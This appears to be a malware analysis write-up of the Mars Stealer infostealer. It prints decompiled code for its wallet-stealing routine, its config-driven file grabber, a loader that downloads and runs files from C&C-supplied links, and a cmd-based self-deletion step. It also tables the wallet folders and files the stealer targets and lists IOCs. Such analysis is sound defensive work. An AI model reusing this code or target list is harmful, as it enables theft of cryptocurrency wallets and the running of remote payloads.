21    steal_wallet(0, atomic_name, atomic_path, atomic_file6, heap_address); // Atomic, \atomic\Local Storage\leveldb\, 0000*
22    steal_wallet(0, binance_name, binance_path, binance_file, heap_address); // Binance, \Binance\, app-store.json
23    steal_wallet(1, coinomi_name, coinomi_path, coinomi_file1, heap_address); // Coinomi, \Coinomi\Coinomi\wallets\, *.wallet
24    steal_wallet(1, coinomi_name, coinomi_path, coinomi_file2, heap_address); // Coinomi, \Coinomi\Coinomi\wallets\, *.config
25    func_memset(appdata_path, 260u);
26    csidl_path(appdata_path, 26); // CSIDL_APPDATA
27    return steal_other_wallets(&szAgent, appdata_path, wallet_regex, heap_address);
28 }

```

Wallet name	Wallet folder	Regex
Ethereum	%appdata%\Ethereum\	keystore
Electrum	%appdata%\Electrum\wallets\	.
Electrum LTC	%appdata%\Electrum-LTC\wallets\	.
Exodus	%appdata%\Exodus\	exodus.conf.json, window-state.json, \Exodus\exodus.wallet\, passphrase.json, seed.seco, info.seco

Wallet name	Wallet folder	Regex
Electron Cash	%appdata%\ElectronCash\wallets\	default_wallet
MultiDoge	%appdata%\MultiDoge\	multidoge.wallet
Jaxx	%appdata%\jaxx\Local Storage\	file__0.localstorage
Atomic	%appdata%\atomic\Local Storage\leveldb\	000003.log, CURRENT, LOCK, LOG, MANIFEST.000001, 0000*
Binance	%appdata%\Binance\	app-store.json
Coinomi	%localappdata%\Coinomi\Coinomi\wallets\	*.wallet, *.config

Grabber

Mars has a custom grabber with multiple functions. First, the malware makes a request to C&C and gets config as a response. Grabber config looks like this `name|max_size|path|formats|recursively|`. Then uses `setup_grabber()` which use `strtok()` with `lstrcatA()` to parse grabber config and calls `grabber()` which performs grabbing.

```

1 int __cdecl grabber(int config, int heap_address)
2 {
3     char *grabber_prm; // [esp+4h] [ebp-16B4h]
4     char path[264]; // [esp+8h] [ebp-16B0h] BYREF
5     char String[5004]; // [esp+110h] [ebp-15A8h] BYREF
6     int max_size; // [esp+149Ch] [ebp-21Ch]
7     CHAR name[4]; // [esp+14A0h] [ebp-218h] BYREF
8     CHAR formats[4]; // [esp+15A8h] [ebp-110h] BYREF
9     int swtich_case; // [esp+16B4h] [ebp-4h]
10
11     func_memset(String, 0x1388u);
12     func_memset(name, 0x104u);
13     func_memset(path, 0x104u);
14     func_memset(formats, 0x104u);
15     lstrcatA(String, config);
16     grabber_prm = strtok(String, "|"); // name|max_size|path|formats|recursively
17     swtich_case = 1;
18     while ( grabber_prm )
19     {
20         switch ( swtich_case )
21         {
22             case 1:
23                 func_memset(name, 0x104u);
24                 lstrcatA(name, grabber_prm);
25                 break;
26             case 2:
27                 max_size = count_size(grabber_prm);
28                 break;
29             case 3:
30                 func_memset(path, 0x104u);
31                 lstrcatA(path, grabber_prm);
32                 break;
33             case 4:
34                 func_memset(formats, 0x104u);
35                 lstrcatA(formats, grabber_prm);
36                 break;
37             case 5:
38                 if ( StrCmpCA(grabber_prm, "0") )
39                     sub_154EC0(name, max_size, path, formats, 1, heap_address);
40                 else
41                     sub_154EC0(name, max_size, path, formats, 0, heap_address);
42                 swtich_case = 0;
43                 break;
44             default:
45                 break;
46         }
47         ++swtich_case;
48         grabber_prm = strtok(0, "|");
49     }
50     return func_memset(String, 0x1388u);
51 }

```

Loader

Malware gets loader config as the response while uploading log. This config looks like this `link|load_to|startup_param|` (download link, path to a loaded file, start-up parameters).

To download file stealer calls `download_file()` function. Then uses `strtok()` with `lstrcatA()` to parse config parameters and calls `ShellExecuteExA()` to execute executable.

```

1 int __cdecl loader(char *config)
2 {
3     SHELLEXECUTEINFOA pExecInfo; // [esp+4h] [ebp-360h] BYREF
4     LPCSTR loader_prm; // [esp+40h] [ebp-324h] BYREF
5     CHAR path_to_file[264]; // [esp+44h] [ebp-320h] BYREF
6     CHAR download_url[264]; // [esp+14Ch] [ebp-218h] BYREF
7     CHAR run_prm[268]; // [esp+254h] [ebp-110h] BYREF
8     int switch_case; // [esp+360h] [ebp-4h]
9
10    loader_prm = strtok(config, "|"); // link|load_to|startup_param|
11    switch_case = 1;
12    func_memset(download_url, 0x104u);
13    func_memset(path_to_file, 0x104u);
14    func_memset(run_prm, 0x104u);
15    while ( loader_prm )
16    {
17        switch ( switch_case )
18        {
19            case 1:
20                lstrcatA(download_url, loader_prm);
21                break;
22            case 2:
23                lstrcatA(path_to_file, loader_prm);
24                break;
25            case 3:
26                lstrcatA(run_prm, loader_prm);
27                download_file(download_url, path_to_file);
28                sub_15A160(&pExecInfo, 0, 0x3Cu);
29                pExecInfo.cbSize = 60;
30                pExecInfo.fMask = 0;
31                pExecInfo.hwnd = 0;
32                pExecInfo.lpVerb = open_str; // open
33                pExecInfo.lpFile = path_to_file;
34                pExecInfo.lpParameters = run_prm;
35                pExecInfo.lpDirectory = 0;
36                pExecInfo.nShow = 5;
37                pExecInfo.hInstApp = 0;
38                ShellExecuteExA(&pExecInfo);
39                sub_15A160(&pExecInfo, 0, 0x3Cu);
40                func_memset(path_to_file, 0x104u);
41                func_memset(run_prm, 0x104u);
42                func_memset(download_url, 0x104u);
43                switch_case = 0;
44                break;
45            }
46            ++switch_case;
47            loader_prm = strtok(0, "|");
48        }
49        return func_memset(&loader_prm, 4u);
50    }

```

Self-removal

Malware gets the way to itself by using `GetModuleFileName()` and calls `ShellExecuteExA()` which executes `cmd.exe` with `/c timeout /t 5 & del /f /q \"%s\" & exit` parameters. After 5 seconds `cmd.exe` deletes current executable.


```

1 int self_removal()
2 {
3     char prm[264]; // [esp+0h] [ebp-250h] BYREF
4     char pe_path[268]; // [esp+108h] [ebp-148h] BYREF
5     SHELLEXECUTEINFOA pExecInfo; // [esp+214h] [ebp-3Ch] BYREF
6
7     func_memset(prm, 0x104u);
8     func_memset(pe_path, 0x104u);
9     GetModuleFileName(0, pe_path, 260);
10    wsprintfA(prm, "/c timeout /t 5 & del /f /q \"%s\" & exit", pe_path);
11    sub_15A160(&pExecInfo, 0, 0x3Cu);
12    pExecInfo.cbSize = 60;
13    pExecInfo.fMask = 0;
14    pExecInfo.hwnd = 0;
15    pExecInfo.lpVerb = open_str;
16    pExecInfo.lpFile = "C:\\Windows\\System32\\cmd.exe";
17    pExecInfo.lpParameters = prm;
18    memset(&pExecInfo.lpDirectory, 0, 12);
19    ShellExecuteExA(&pExecInfo);
20    func_memset(&pExecInfo, 0x3Cu);
21    func_memset(prm, 0x104u);
22    return func_memset(pe_path, 0x104u);
23 }

```

Conclusion

Mars Stealer it's an improved version of Oski Stealer. Have been added anti-debug check, crypto extensions stealing, but outlook stealing is missing. The code has been refactoring, but some algorithms remained stupid as in Oski Stealer. [Here](#) you can read detailed Oski Stealer analysis from CyberArk.

IOCs

Related tweets: [1](#) [2](#)

6143734a8c9cae36bfde4f4b67f3c604 [VirusTotal](#) [Bazaar](#)

cookreceipts[.]fun [VirusTotal](#) [Urlhaus](#)